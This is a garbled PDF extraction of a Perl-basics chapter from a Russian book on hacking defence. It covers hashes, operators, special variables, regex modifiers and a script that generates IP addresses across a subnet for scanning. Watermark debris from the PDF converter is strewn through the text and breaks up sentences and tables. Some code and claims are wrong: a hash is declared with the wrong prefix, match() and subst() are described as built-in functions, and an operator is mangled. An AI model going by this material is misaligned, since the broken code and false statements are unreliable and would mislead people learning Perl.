книги хакеры / Защита_от_взлома_сокеты,_эксплойты,_shell_код_Фостер_Дж_
.pdf
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|||
|
|
X |
|
|
|
|
|
|||
|
- |
|
|
|
|
|
d |
|
||
|
F |
|
|
|
|
|
|
t |
|
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
r |
||
P |
|
|
|
|
|
NOW! |
o |
|||
|
|
|
|
|
|
|
||||
|
|
|
|
|
BUY |
|
|
|||
|
|
|
|
to |
|
|
|
|
|
|
w Click |
|
|
|
|
|
m |
||||
|
|
|
|
|
|
|||||
w |
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
o |
|
|
. |
|
|
|
|
|
.c |
|
||
|
|
p |
|
|
|
|
g |
|
|
|
|
|
|
df |
|
|
n |
e |
|
||
|
|
|
|
-xcha |
|
|
|
|
Примечание
Язык Perl
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|||
|
|
X |
|
|
|
|
|
|||
|
- |
|
|
|
|
|
d |
|
||
|
F |
|
|
|
|
|
|
t |
|
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
r |
||
P |
|
|
|
|
|
NOW! |
o |
|||
|
|
|
|
|
|
|
||||
|
|
|
|
|
BUY |
|
|
|||
81 |
|
to |
|
|
|
|
|
|||
|
|
|
|
|
|
|
||||
w Click |
|
|
|
|
|
|
m |
|||
w |
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
o |
|
|
. |
|
|
|
|
|
.c |
|
||
|
|
p |
|
|
|
|
g |
|
|
|
|
|
|
df |
|
|
n |
e |
|
||
|
|
|
|
-x cha |
|
|
|
|
В предыдущем примере на печать выведена строка «gabe», а не «marshall», поскольку нумерация элементов в массиве начинается с [0][0], а не с [1][1].
Хэши, или ассоциативные массивы позволяют хранить данные в массиве, индексированном строкой, а не числом. В массиве, инициализированном, как это показано в примере 1.26, хранятся строки и соответствующие им числовые данные.
Пример 1.26. Хэши
@jobs = ("Coder", 21, "Programmer", 24, "Developer", 27);
Искать элемент в таком массиве можно, указывая вместо числового индекса строку. В примере 1.27 первая строка возвращает значение 27, вторая – 24, а третья – 21.
Пример 1.27. Задание строки для извлечения данных из ассоциативного массива
$jobs{"Developer"}; $jobs{"Programmer"}; $jobs{"Coder"};
В Perl есть средства для преобразования списков в хэши и наоборот. Это особенно полезно, когда надо извлечь сразу несколько значений или перебрать все элементы хэша. В следующем фрагменте код в строке 1 преобразует хэш в список, а код в строке 3 выполняет противоположную операцию. В строке 2 мы ссылаемся на третий элемент массива, равный 24, как следует из предыдущего примера.
1 @staticjobs = %jobs;
2 $staticjobs[3];
3 %jobscopy = @staticjobs;
Обратите внимание, что префиксы %, @ è $ обозначают разные типы данных. Крайне важно при обращении к конкретному типу указывать правильный префикс.
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|
|||
|
|
X |
|
|
|
|
|
|
|||
|
- |
|
|
|
|
|
d |
|
|||
|
F |
|
|
|
|
|
|
|
t |
|
|
|
D |
|
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
|
r |
||
P |
|
|
|
|
|
NOW! |
o |
||||
|
|
|
|
|
|
|
|||||
|
|
|
|
|
BUY |
|
|
||||
|
|
|
|
to |
|
|
|
82 Глава 1. Написание безопасных программ |
|||
w Click |
|
|
|
|
|||||||
|
|
|
|
|
|||||||
|
|
|
|
|
|
|
m |
||||
w |
|
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
|
o |
|
|
. |
|
|
|
|
|
|
.c |
|
||
|
|
p |
|
|
|
|
g |
|
|
||
|
|
|
|
|
|
|
|
e |
|
||
|
|
|
df |
|
|
n |
|
Операторы |
|||
|
|
|
|
-xcha |
|
|
|
|
|
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|||
|
|
X |
|
|
|
|
|
|||
|
- |
|
|
|
|
|
d |
|
||
|
F |
|
|
|
|
|
|
t |
|
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
r |
||
P |
|
|
|
|
|
NOW! |
o |
|||
|
|
|
|
|
|
|
||||
|
|
|
|
|
BUY |
|
|
|||
|
|
|
|
to |
|
|
|
|
|
|
w Click |
|
|
|
|
|
m |
||||
|
|
|
|
|
|
|||||
w |
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
o |
|
|
. |
|
|
|
|
|
.c |
|
||
|
|
p |
|
|
|
|
g |
|
|
|
|
|
|
df |
|
|
n |
e |
|
||
|
|
|
|
-x cha |
|
|
|
|
Âязыке Perl есть пять категорий операторов: арифметические, присваивания, логические, сравнения и строковые. Операторы применяются для инициализации, сравнения, вычислений и модификации выражений или переменных.
Âтаблице 1.1 перечислены арифметические операторы, имеющиеся в Perl.
Таблица 1.1. Арифметические операторы в Perl
Оператор |
Назначение |
Пример |
+ |
Возвращает сумму двух переменных |
$education + |
|
|
$experience |
– |
Возвращает разность двух переменных |
$education – |
|
|
$experience |
* |
Возвращает произведение двух |
$num1 * $num2 |
|
переменных |
|
/ |
Возвращает частное от деления одной |
$num1 / $num2 |
|
переменной на другую |
|
% |
Возвращает остаток от деления одной |
$num1 % $num2 |
|
переменной на другую |
|
** |
Возвращает результат возведения |
$num1 ** $num2 |
|
в степень |
|
Операторы присваивания применяются для инициализации и манипулирования скалярными переменными, но не массивами. Будучи похожи на арифметические операции, операторы присваивания записывают в имеющийся скаляр новое значение с помощью одного-единственного выражения. Например, если исходное значение скаляра $number равно 5, то в результате вычисления выражения $number += 2; ему будет присвоено значение 7. В таблице 1.2 перечислены все операторы присваивания.
Таблица 1.2. Операторы присваивания в Perl
Оператор |
Назначение |
Пример |
= |
Присваивает значение переменной |
$num1 = 10 |
|
|
$gabe = «red» |
++ |
Увеличивает значение переменной на 1 |
$num1++ |
|
|
++$num1 |
— |
Уменьшает значение переменной на 1 |
$num1— |
|
|
—$num1 |
+= |
Увеличивает значение переменной на |
$num1 += 10 |
|
указанную величину и присваивает |
|
|
переменной новое значение |
|
= |
Уменьшает значение переменной на |
$num1 = 10 |
|
указанную величину и присваивает |
|
|
переменной новое значение |
|
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|
|
|||
|
|
X |
|
|
|
|
|
|
|
|||
|
- |
|
|
|
|
|
d |
|
|
|||
|
F |
|
|
|
|
|
|
|
t |
|
|
|
|
D |
|
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
|
|
r |
|
||
P |
|
|
|
|
|
NOW! |
o |
|
||||
|
|
|
|
|
|
|
|
|||||
|
|
|
|
|
BUY |
|
|
|
||||
|
|
|
|
to |
|
|
|
|
|
|
|
|
w Click |
|
|
|
|
|
|
m |
|
||||
|
|
|
|
|
|
|
|
|||||
w |
|
|
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
|
o |
|
|
|
. |
|
|
|
|
g |
.c |
|
1.2. |
|||
|
|
p |
|
|
|
|
|
|
|
|||
|
|
|
|
-xchТаблицаa |
||||||||
|
|
|
df |
|
|
n |
e |
|
|
|||
|
|
|
|
|
|
|
|
|
|
Язык Perl
Операторы присваивания в Perl (окончание)
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|||
|
|
X |
|
|
|
|
|
|||
|
- |
|
|
|
|
|
d |
|
||
|
F |
|
|
|
|
|
|
t |
|
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
r |
||
P |
|
|
|
|
|
NOW! |
o |
|||
|
|
|
|
|
|
|
||||
|
|
|
|
|
BUY |
|
|
|||
83 |
|
to |
|
|
|
|
|
|||
|
|
|
|
|
|
|
||||
w Click |
|
|
|
|
|
|
m |
|||
w |
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
o |
|
|
. |
|
|
|
|
|
.c |
|
||
|
|
p |
|
|
|
|
g |
|
|
|
|
|
|
df |
|
|
n |
e |
|
||
|
|
|
|
-x cha |
|
|
|
|
Оператор |
Назначение |
Пример |
*= |
Умножает значение переменной на |
$num1 *= 10 |
|
указанную величину и присваивает |
|
|
переменной новое значение |
|
/= |
Делит значение переменной на |
$num1 /= 10 |
|
указанную величину и присваивает |
|
|
переменной новое значение |
|
**= |
Возводит значение переменной |
$num1 **= 3 |
|
в указанную степень и присваивает |
$num2 = (3 **= |
|
переменной новое значение |
$num1) |
%= |
Делит значение переменной на |
$num1 %= 10 |
|
указанную величину и присваивает |
|
|
переменной значение, равное остатку |
|
|
от деления |
|
x= |
Повторяет строку заданное число раз |
$jim x= 10 |
|
и присваивает получившееся значение |
|
|
исходной переменной |
|
.= |
Конкатенирует (сцепляет) две строки, |
$jim .= «my» $jim .= |
|
дописывая вторую в конец первой |
$foster |
Выражения, в которых встречаются логические операторы, чаще всего употребляются в начале той или иной управляющей структуры для выяснения того, по какому пути должно продолжиться исполнение программы. Оператор вычисляет значения двух выражений или переменных и возвращает true или false. В таблице 1.3 описаны все три логических оператора.
Таблица 1.3. Логические операторы в Perl
Оператор |
Назначение |
Пример |
&& |
Возвращает true, если оба выражения |
($x==1) && ($y==1) |
|
истинны |
|
|| |
Возвращает true, если хотя бы одно их |
($x==1) || ($y==1) |
|
двух выражений истинно |
|
!Возвращает true, если выражение ложно !($cat == $dog)
Во многих программах для проверки и оценки различия между величинами применяются операторы сравнения. Важно понимать, что все операторы сравнения возвращают булевское значение: true или false. В таблице 1.4 пере- числены операторы сравнения для числовых и строковых величин.
Таблица 1.4. Операторы сравнения в Perl
Для чисел |
Для строк |
Назначение |
Пример |
== |
eq |
Возвращает true, если |
$num1 == $num2 |
|
|
значения равны |
$foo eq «bar» |
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|
|||
|
|
X |
|
|
|
|
|
|
|||
|
- |
|
|
|
|
|
d |
|
|||
|
F |
|
|
|
|
|
|
|
t |
|
|
|
D |
|
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
|
r |
||
P |
|
|
|
|
|
NOW! |
o |
||||
|
|
|
|
|
|
|
|||||
|
|
|
|
|
BUY |
|
|
||||
|
|
|
|
to |
|
|
|
84 Глава 1. Написание безопасных программ |
|||
w Click |
|
|
|
|
|||||||
|
|
|
|
|
|||||||
|
|
|
|
|
|
|
m |
||||
w |
|
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
|
o |
|
|
. |
|
|
|
|
g |
.c |
|
|||
|
|
p |
|
-xcha |
|
|
|
||||
|
|
|
|
|
|
Таблица 1.4. Операторы сравнения в Perl (окончание) |
|||||
|
|
|
df |
|
|
n |
e |
|
|||
|
|
|
|
|
|
|
|
|
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|||
|
|
X |
|
|
|
|
|
|||
|
- |
|
|
|
|
|
d |
|
||
|
F |
|
|
|
|
|
|
t |
|
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
r |
||
P |
|
|
|
|
|
NOW! |
o |
|||
|
|
|
|
|
|
|
||||
|
|
|
|
|
BUY |
|
|
|||
|
|
|
|
to |
|
|
|
|
|
|
w Click |
|
|
|
|
|
m |
||||
|
|
|
|
|
|
|||||
w |
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
o |
|
|
. |
|
|
|
|
|
.c |
|
||
|
|
p |
|
|
|
|
g |
|
|
|
|
|
|
df |
|
|
n |
e |
|
||
|
|
|
|
-x cha |
|
|
|
|
Для чисел Для строк Назначение |
Пример |
!= |
ne |
Возвращает true, если |
|
|
значения не равны |
> |
gt |
Возвращает true, если первое |
|
|
значение больше второго |
< |
lt |
Возвращает true, если первое |
|
|
значение меньше второго |
>= |
ge |
Возвращает true, если первое |
|
|
значение больше или равно |
|
|
второму |
<= |
le |
Возвращает true, если первое |
|
|
значение меньше или равно |
|
|
второму |
$num1 != $num2 $foo ne «bar» $num1 > $num2 $foo gt «bar» $num1 < $num2 $foo lt «bar» $num1 >= $num2 $foo ge «bar»
$num1 <= $num2 $foo le «bar»
Строковые операторы полезны для модификации и поиска внутри строки. Помимо операторов для поиска, сопоставления с образцом и замены к вашим услугам различные виды регулярных выражений. В таблице 1.5 пере- числены строковое операторы в языке Perl.
Таблица 1.5. Строковые операторы в Perl
Оператор Назначение |
Пример |
xПовторяет строку указанное число раз
index() |
Возвращает смещение указанной |
|
подстроки относительно начала строки |
substr() |
Возвращает подстроку указанной строки, |
|
начинающуюся с указанного смещения |
$foo x $bar
$in = index($foo, $bar); substr($foo, $in, $len);
Пример Perl3сценария
Пример 1.28 содержит 35 строк кода и служит для генерирования списка IPадресов, получающегося в результате анализа адреса тестируемой подсети. Поскольку Perl-сценарии почти никогда не имеют графического интерфейса, то разбор командной строки оказывается весьма важной задачей. Диапазоны разбирать традиционно трудно, поскольку они содержат несколько компонентов, для выделения которых нужно приложить немало усилий. А если не проявлять должной аккуратности, легко допустить ошибку.
Пример 1.28. Разбора IP*адреса подсети, указанного в командной строке
1 #!/usr/bin/perl
2if(@ARGV<2){print "Usage: $0 <network> <port>\nExample: $0 10.*.*.* 80 or 10.4.*.* 80 or 10.4.3.* 80\n";exit;}
3 else{
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|
||
|
|
X |
|
|
|
|
|
|
||
|
- |
|
|
|
|
d |
|
|||
|
F |
|
|
|
|
|
|
t |
|
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
r |
||
P |
|
|
|
|
|
NOW! |
o |
|||
|
|
|
|
|
|
|
||||
|
|
|
|
|
BUY |
|
|
|||
|
|
|
|
to |
|
|
|
|
|
|
w Click |
|
|
|
|
|
m |
||||
|
|
|
|
|
|
|||||
w |
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
o |
|
|
. |
|
|
|
|
|
.c |
|
||
|
|
p |
|
|
|
|
g |
|
|
|
|
|
|
|
|
|
|
e |
use IO::Socket; |
||
|
|
|
df-xchan4 |
|
|
5$sIP="@ARGV[0]";
6$port="@ARGV[1]";
7($ip1,$ip2,$ip3,$ip4)=split(/\./,$sIP);
8 if($ip2 eq '*')
Язык Perl
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|||
|
|
X |
|
|
|
|
|
|||
|
- |
|
|
|
|
|
d |
|
||
|
F |
|
|
|
|
|
|
t |
|
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
r |
||
P |
|
|
|
|
|
NOW! |
o |
|||
|
|
|
|
|
|
|
||||
|
|
|
|
|
BUY |
|
|
|||
85 |
|
to |
|
|
|
|
|
|||
|
|
|
|
|
|
|
||||
w Click |
|
|
|
|
|
|
m |
|||
w |
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
o |
|
|
. |
|
|
|
|
|
.c |
|
||
|
|
p |
|
|
|
|
g |
|
|
|
|
|
|
df |
|
|
n |
e |
|
||
|
|
|
|
-x cha |
|
|
|
|
9{$ip2=1;$ip3=1;$ip4=1;$x='a';print "Сканирование сети класса A\n";}
10elsif($ip3 eq '*')
11{$ip3=1; $ip4=1; $x='b'; print "Сканирование сети класса B\n";}
12elsif($ip4 eq '*')
13{$ip4=1; $x='c'; print "Сканирование сети класса C\n";}
14
15while($ip2<255 && $x eq 'a')
16{
17while($ip3<255 && ($x eq 'a' || $x eq 'b'))
18{
19while($ip4<255)
20{
21$ipaddr="$ip1.$ip2.$ip3.$ip4";
22print "$ipaddr\n";
23#IP_connect($ipaddr);
24$ip4++;
25}
26$ip4=1;
27$ip3++;
28if($x eq 'c') {$ip3=255; $ip2=255;}
29}
30$ip4=1;
31$ip3=1;
32$ip2++;
33if($x eq 'c' || $x eq 'b') {$ip3=255; $ip2=255;}
34}
35}
Анализ
Строка 1 часто используется в Perl-сценариях на платформе UNIX и Linux для указания того, где искать сам интерпретатор Perl. Почти во всех дистрибутивах для Win32 она не нужна. В строке 2 проверяется, что сценарию передано по меньшей мере два аргумента, а если это не так, то на STDOUT выводится сообщение о порядке запуска.
Âстроках 5 и 6 аргументы, указанные в командной строке, копируются
âпеременные. Отметим, что до начала разбора никакого контроля значений аргументов не производится. Это сделано сознательно, поскольку основная цель данного упражнения – показать, как увеличить IP-адрес.
Âстроке 6 вызывается функция split, которая разбивает переданный IP-адрес
на четыре целых числа, которые можно увеличивать независимо друг от друга.
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
|
|
hang |
e |
|
|
|
|
|
||
|
|
|
C |
|
E |
|
|
|
|
|
|
|
C |
|
E |
|
|
|
||||||
|
|
X |
|
|
|
|
|
|
|
|
|
X |
|
|
|
|
|
|
||||||
|
- |
|
|
|
|
|
d |
|
|
|
- |
|
|
|
|
|
d |
|
||||||
|
F |
|
|
|
|
|
|
|
i |
|
|
|
F |
|
|
|
|
|
|
|
i |
|
||
|
|
|
|
|
|
|
|
t |
|
|
|
|
|
|
|
|
|
|
t |
|
||||
P |
D |
|
|
|
|
|
|
|
|
o |
|
P |
D |
|
|
|
|
|
|
|
|
o |
||
|
|
|
|
NOW! |
r |
|
|
|
|
|
NOW! |
r |
||||||||||||
|
|
|
|
|
BUY |
|
|
|
|
|
|
|
|
BUY |
|
|
||||||||
|
|
|
|
to |
|
|
86 Глава 1. Написание безопасных программ |
|
|
|
|
to |
|
|
|
|
|
|
||||||
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|||||||
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|||||
w |
|
|
|
|
|
|
|
|
|
m |
|
w |
|
|
|
|
|
|
|
|
|
m |
||
w Click |
|
|
|
|
|
|
o |
|
w Click |
|
|
|
|
|
|
o |
||||||||
|
w |
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
|
|
||
|
. |
|
|
|
|
|
|
.c |
|
|
|
. |
|
|
|
|
|
|
.c |
|
||||
|
|
p |
df |
|
|
|
|
e |
|
|
|
|
p |
df |
|
|
|
|
e |
|
||||
|
|
|
|
|
g |
|
|
|
|
|
|
|
|
|
g |
|
|
|
||||||
|
|
|
|
|
n |
|
|
|
|
|
|
|
|
|
|
n |
|
|
|
|
||||
|
|
|
|
-xcha |
|
|
|
|
|
Строки 8–13 приведены из эстетических соображений, в них печатается-x cha |
|
|
|
|
|
класс анализируемой сети, определяемый на основе числа звездочек в адресе. Оставшаяся часть программы состоит из вложенных циклов, внутри которых IP-адрес увеличивается, пока не будет исчерпан весь диапазон. В переменной $ip4 хранится последний из четырех октетов IP-адреса. Так, для адреса 10.9.5.123 последним октетом будет 123. $ip4 увеличивается в самом внутреннем цикле; когда будет достигнуто значение 255 (строка 19), происходит переход к следующей итерации объемлющего цикла, начинающегося в строке 17. В этом цикле увеличивается октет $ip3, если анализируемая сеть принадлежа-
ла классу A или B.
Строка 23 закомментарена и приведена лишь для того, чтобы показать, как легко можно было бы использовать сгенерированные IP-адреса. Самый внешний цикл исполняется лишь тогда, когда сеть принадлежит классу A. Обратите внимание, что в нем увеличивается второй, а не первый октет.
Специальные переменные
В языке Perl имеется также набор «специальных переменных». В них хранится динамически обновляемая информация о текущем экземпляре сценария и среде его выполнения. К специальным относятся, в частности, следующие переменные:
$0. Содержит имя исполняемого сценария, это бывает полезно, когда нужно упомянуть имя в сообщении или при разветвлении процесса;
$_. Часто используется при поиске и сопоставлении с образцом для строк, читаемых из стандартного ввода;
$/. Значение этой переменной содержит строку, используемую как разделитель записей во входном потоке. По умолчанию оно равно символу новой строки \n;
@ARGV. Массив ARGV содержит аргументы сценария, заданные в командной строке. Так, $ARGV[0] – это первый аргумент;
@INC. В отличие от описываемого ниже ассоциативного массива %INC, этот список содержит перечень каталогов, в которых ищутся включаемые с помощью функций do è require файлы;
%INC. Ассоциативный массив %INC содержит перечень всех включаемых файлов, которые нужны текущему сценарию для успешной компиляции и выполнения;
%ENV. Как и во многих других языках программирования, хэш %ENV содержит все переменные окружения;
STDIN. Является ссылкой на стандартный входной поток. Обычно это управляемая человеком консоль, и в этом случае признаком конца фай-
ла является нажатие предопределенной комбинации клавиш;
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|||
|
|
X |
|
|
|
|
|
|||
|
- |
|
|
|
|
|
d |
|
||
|
F |
|
|
|
|
|
|
t |
|
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
r |
||
P |
|
|
|
|
|
NOW! |
o |
|||
|
|
|
|
|
|
|
||||
|
|
|
|
|
BUY |
|
|
|||
|
|
|
|
to |
|
|
|
|
|
|
w Click |
|
|
|
|
|
m |
||||
|
|
|
|
|
|
|||||
w |
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
o |
|
|
. |
|
|
|
|
|
.c |
|
||
|
|
p |
|
|
|
|
g |
|
|
|
|
|
|
df |
|
|
n |
e |
|
||
|
|
|
|
|
|
|
||||
|
|
|
|
-xcha |
|
|
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|||
|
|
X |
|
|
|
|
|
|||
|
- |
|
|
|
|
|
d |
|
||
|
F |
|
|
|
|
|
|
t |
|
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
r |
||
P |
|
|
|
|
|
NOW! |
o |
|||
|
|
|
|
|
|
|
||||
|
|
|
|
|
BUY |
|
|
|||
Язык Perl 87 |
|
to |
|
|
|
|
|
|||
|
|
|
|
|
|
|
||||
w Click |
|
|
|
|
|
|
m |
|||
w |
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
o |
|
|
. |
|
-x cha |
|
.c |
|
||||
STDOUT. Является ссылкой на стандартный поток вывода. Почти во |
|
g |
|
|
||||||
|
|
p |
|
|
|
|
|
|
||
|
|
|
df |
|
|
n |
e |
|
||
|
|
|
|
|
|
|
|
всех случаях это окно команд на платформе Win32 или локальная оболочка в UNIX;
STDERR. Является ссылкой на стандартный поток для вывода ошибок. Часто используется для печати отладочной информации и сообщений об ошибках.
Описанные выше переменные STDxxx дают прекрасный пример инкапсуляции системных зависимостей. Например, в системах UNIX и Linux печать на STDOUT соответствует выводу в стандартную оболочку (shell), а в среде Microsoft Win32 – выводу в окно команд.
Сопоставление с образцом и подстановка
Постоянно и вполне заслуженно превозносимый механизм регулярных выражений в Perl превосходит имеющиеся в других языках аналоги, когда дело доходит до поиска в строках и сопоставления строк с образцом. В Perl встроены две важных функции: match (сопоставление) и subst (подстановка). Обе исключительно просты в использовании. Функция сопоставления принимает два аргумента: строку, в которой производится поиск, и искомый образец. Функция подстановки принимает те же два аргумента, а также строку, которую нужно подставить вместо найденного образца:
match($str, $pattern)
subst($str, $pattern, $substitution)
Помимо двух вышеупомянутых функций есть три вида сокращенной нотации. В приведенном ниже примере в первой строке проверяется, есть ли образец «hacker» в строке, хранящейся в переменной $code. В следующей строке, напротив, проверяется, что переменная $code не соответствует образцу «hacker» (в ней нет такой подстроки). Наконец, в третьей строке вместо подстроки «hacker» подставляется строка «cracker».
$code =~ m/hacker/; $code !~ m/hacker/;
$code =~ s/hacker/cracker/;
Следующее выражение соответствует любой латинской букве в верхнем или нижнем регистре.
/[A-Za-z]/
А это выражение соответствует всем строчным буквам и цифрам:
/[0-9a-z]/
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|
|||
|
|
X |
|
|
|
|
|
|
|||
|
- |
|
|
|
|
|
d |
|
|||
|
F |
|
|
|
|
|
|
|
t |
|
|
|
D |
|
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
|
r |
||
P |
|
|
|
|
|
NOW! |
o |
||||
|
|
|
|
|
|
|
|||||
|
|
|
|
|
BUY |
|
|
||||
|
|
|
|
to |
|
|
|
88 Глава 1. Написание безопасных программ |
|||
w Click |
|
|
|
|
|||||||
|
|
|
|
|
|||||||
|
|
|
|
|
|
|
m |
||||
w |
|
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
|
o |
|
|
. |
|
|
|
|
|
|
.c |
|
||
|
|
p |
|
|
|
|
g |
|
|
||
|
|
|
|
|
|
|
|
e |
|
||
|
|
|
df |
|
|
n |
|
Модификаторы регулярных выражений |
|||
|
|
|
|
-xcha |
|
|
|
|
|
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|||
|
|
X |
|
|
|
|
|
|||
|
- |
|
|
|
|
|
d |
|
||
|
F |
|
|
|
|
|
|
t |
|
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
r |
||
P |
|
|
|
|
|
NOW! |
o |
|||
|
|
|
|
|
|
|
||||
|
|
|
|
|
BUY |
|
|
|||
|
|
|
|
to |
|
|
|
|
|
|
w Click |
|
|
|
|
|
m |
||||
|
|
|
|
|
|
|||||
w |
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
o |
|
|
. |
|
|
|
|
|
.c |
|
||
|
|
p |
|
|
|
|
g |
|
|
|
|
|
|
df |
|
|
n |
e |
|
||
|
|
|
|
-x cha |
|
|
|
|
Ниже приведен список модификаторов регулярных выражений в языке Perl:
/e. Сообщает, что правую часть регулярного выражения, например, в конструкции s/// необходимо вычислять во время выполнения, а не компиляции;
/ee. Аналогичен предыдущему с тем отличием, что строка справа от s/// должна быть сначала скомпилирована, а затем выполнена как код;
/g. Указывает, что необходимо найти все вхождения образца, а не останавливаться на первом;
/i. Сообщает, что при сопоставлении не следует учитывать регистр букв;
/m. Помогает при поиске в строках, содержащих внутри символы \n; интерпретирует метасимвол ^ так, чтобы он соответствовал образцу перед символом новой строки, а символ $ так, чтобы он соответствовал образцу после символа новой строки;
/o. Информирует о том, что регулярное выражение должно быть откомпилировано только один раз;
/s. Аналогичен /m, также помогает при поиске в строке с внутренними символами \n. Настраивает метасимвол '.' так, что он соответствует символу новой строки. Кроме того, включает режим игнорирования устаревшей переменной $*;
/x. Обычно используется для включения в регулярное выражение игнорируемых пробелов и комментариев. Хотя применяется и не часто, но способствует созданию понятного и хорошо документированного кода.
Канонические инструменты, написанные на Perl
В этом разделе мы продемонстрируем на примере нескольких сценариев некоторые наиболее важные и широко применяемые средства языка Perl. Профессионалы в области информационной безопасности часто пишут на Perl программы, доказывающие жизнеспособность той или иной идеи, когда не требуется особая эффективность, создают «эксплойты», утилиты для тестирования других программ и выявления уязвимостей в Web-приложениях, а также сложные инструменты на базе регулярных выражений. Как и в случае большинства других интерпретируемых языков, Perl-сценарии не могут быть в полном смысле откомпилированы, то есть превращены в двоичную форму. Компилируемые языки позволяют несколько повысить безопасность за счет того, что восстановить исходный текст программы нелегко.
Однако существует несколько программ для «компиляции» Perl-сценари- ев, точнее для превращения их в непосредственно исполняемые приложения. По большей части в них используется техника обертывания, когда базо-
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
|
|
hang |
e |
|
|
|
|
|
||
|
|
|
C |
|
E |
|
|
|
|
|
|
|
C |
|
E |
|
|
|
||||||
|
|
X |
|
|
|
|
|
|
|
|
|
X |
|
|
|
|
|
|
||||||
|
- |
|
|
|
|
|
d |
|
|
|
- |
|
|
|
|
|
d |
|
||||||
|
F |
|
|
|
|
|
|
|
t |
|
|
|
F |
|
|
|
|
|
|
|
t |
|
||
|
D |
|
|
|
|
|
|
|
|
i |
|
|
|
D |
|
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
|
r |
|
|
|
|
|
|
|
|
|
r |
|||||
P |
|
|
|
|
|
NOW! |
o |
|
P |
|
|
|
|
|
NOW! |
o |
||||||||
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
||||||||||
|
|
|
|
|
BUY |
|
|
|
|
|
|
|
|
BUY |
|
|
||||||||
|
|
|
|
to |
|
|
|
|
|
|
Язык Perl |
89 |
|
to |
|
|
|
|
|
|
||||
w Click |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|||||||||
|
|
|
|
|
|
|
m |
|
w Click |
|
|
|
|
|
|
|
m |
|||||||
w |
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
|
|
|
||
|
w |
|
|
|
|
|
|
|
|
o |
|
|
|
w |
|
|
|
|
|
|
|
|
o |
|
|
. |
|
|
|
|
|
|
.c |
|
|
|
. |
|
-x cha |
|
|
.c |
|
||||||
|
|
p |
|
-xchâûåa |
|
библиотеки Perl и динамически загружаемые библиотеки (DLL) упако- |
|
g |
|
|
|
|||||||||||||
|
|
|
|
|
|
g |
|
|
|
|
|
|
p |
|
|
|
|
|
|
|
||||
|
|
|
df |
|
|
n |
e |
|
|
|
|
|
df |
|
|
n |
e |
|
||||||
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
вываются в один файл вместе с одним или несколькими сценариями. В результате во время исполнения такого файла весь язык загружается в память вместе со сценарием. Основной недостаток такого подхода в размере исполняемого файла, он весьма велик из-за тех файлов, которые должны быть включены в «упаковку».
Из самых известных компиляторов Perl можно назвать:
ActiveState Perl Development Kit (www.activestate.com);
PerlCC (http://www.perl.com/doc/manual/html/utils/perlcc.html).
Яумею писать на Perl!
Приведенный ниже крохотный сценарий – это не что иное, как модифицированная программа «Здравствуй, мир». Он призван лишь дать представление о синтаксисе языка. Средняя строка – это комментарий.
#! /usr/local/bin/perl
# Мой первый сценарий
print ("Я умею писать на Perl!");
